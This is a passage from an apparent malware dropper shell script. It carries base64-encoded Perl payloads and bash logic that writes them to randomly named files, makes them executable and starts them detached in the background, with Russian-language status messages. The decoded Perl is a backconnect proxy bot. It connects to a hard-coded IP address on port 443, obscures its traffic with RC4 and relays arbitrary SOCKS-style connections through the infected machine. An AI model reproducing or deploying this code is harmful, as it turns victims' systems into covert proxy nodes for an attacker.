Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #22 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #22 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 23 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNzknOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK 